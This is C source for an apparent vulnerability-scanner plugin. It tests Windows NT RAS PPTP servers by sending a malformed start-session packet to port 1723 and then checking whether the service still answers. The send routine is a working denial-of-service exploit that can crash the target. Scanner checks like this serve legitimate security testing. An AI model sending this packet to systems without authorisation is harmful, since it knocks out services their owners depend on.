/*
 * 
 * nt_ras_ptp
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "NT RAS PPTP"
#define DESC ""
#define COPYRIGHT "Kevin Wormington <kworm@SOFNET.COM>"
#define SUMM "WindowNT DoS"




PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


#define PPTP_MAGIC_COOKIE       0x1a2b3c4d
#define PPTP_CONTROL_HEADER_OFFSET  8
#define PPTP_REQUEST_OFFSET  12
typedef enum {
  PPTP_CONTROL_PACKET = 1,
  PPTP_MGMT_PACKET} PptpPacketType;
typedef enum {
  PPTP_START_SESSION_REQUEST = 1,
  PPTP_START_SESSION_REPLY,
  PPTP_STOP_SESSION_REQUEST,
  PPTP_STOP_SESSION_REPLY,
  PPTP_ECHO_REQUEST,
  PPTP_ECHO_REPLY,
  PPTP_OUT_CALL_REQUEST,
  PPTP_OUT_CALL_REPLY,
  PPTP_IN_CALL_REQUEST,
  PPTP_IN_CALL_REPLY,
  PPTP_IN_CALL_CONNECTED,
  PPTP_CALL_CLEAR_REQUEST,
  PPTP_CALL_DISCONNECT_NOTIFY,
  PPTP_WAN_ERROR_NOTIFY,
  PPTP_SET_LINK_INFO,
  PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;

typedef struct {
  u_short    packetLength;
  u_short    packetType;
  u_long     magicCookie;} PptpPacketHeader;
typedef struct {
  u_short    messageType;
  u_short    reserved;
} PptpControlHeader;
typedef struct {
  u_long     identNumber;} PptpEchoRequest;
typedef enum {
  PPTP_ECHO_OK = 1,
  PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
typedef struct {
  u_long     identNumber;
  u_char     resultCode;
  u_char     generalErrorCode;
  u_short    reserved;} PptpEchoReply;
#define PPTP_FRAME_CAP_ASYNC      0x00000001L
#define PPTP_FRAME_CAP_SYNC       0x00000002L
#define PPTP_BEARER_CAP_ANALOG    0x00000001L
#define PPTP_BEARER_CAP_DIGITAL   0x00000002L
typedef struct {
  u_short     protocolVersion;
  u_char      reserved1;
  u_char      reserved2;
  u_long      framingCapability;
  u_long      bearerCapability;
  u_short     maxChannels;
  u_short     firmwareRevision;
  char        hostName[64];
  char        vendorString[64];} PptpStartSessionRequest;
int pptp_start_session (int);

    


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
 int pptp_sock;
    
 if(!host_get_port_state(args, 1723))return 0;
 if((pptp_sock = open_sock_tcp(args, 1723))<0)return 0;
 pptp_start_session(pptp_sock);
 close(pptp_sock);
 if((pptp_sock = open_sock_tcp(args, 1723))<0)
 {
  	post_hole(args, 1723, "We may have done a denial of service 
using the NT RAS PPTP attack");
  }
  else {
  	socket_close(pptp_sock);
  	}
    return (0);
}

int pptp_start_session (int sock)
  {
  PptpPacketHeader packetheader;
  PptpControlHeader controlheader;
  PptpStartSessionRequest sessionrequest;
  char packet[200];
  packetheader.packetLength = htons (20);  /* whoops, i forgot to change it*/
  packetheader.packetType = htons(PPTP_CONTROL_PACKET);
  packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
  controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
  controlheader.reserved = 0;
  sessionrequest.protocolVersion = htons(1);
  sessionrequest.reserved1 = 0;
  sessionrequest.reserved2 = 0;
  sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
  sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
  sessionrequest.maxChannels = htons(32);
  sessionrequest.firmwareRevision = htons(1);
  memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
  sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
  memset(&sessionrequest.vendorString, 0, sizeof
(sessionrequest.vendorString));
  sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
  memset(&packet, 0, sizeof(packet));
  memcpy(&packet, &packetheader, sizeof(packetheader));
  memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
                                          sizeof(controlheader));
  memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
                                          sizeof(sessionrequest));
  send (sock, &packet, 156, 0);
  return (0);
  }
	

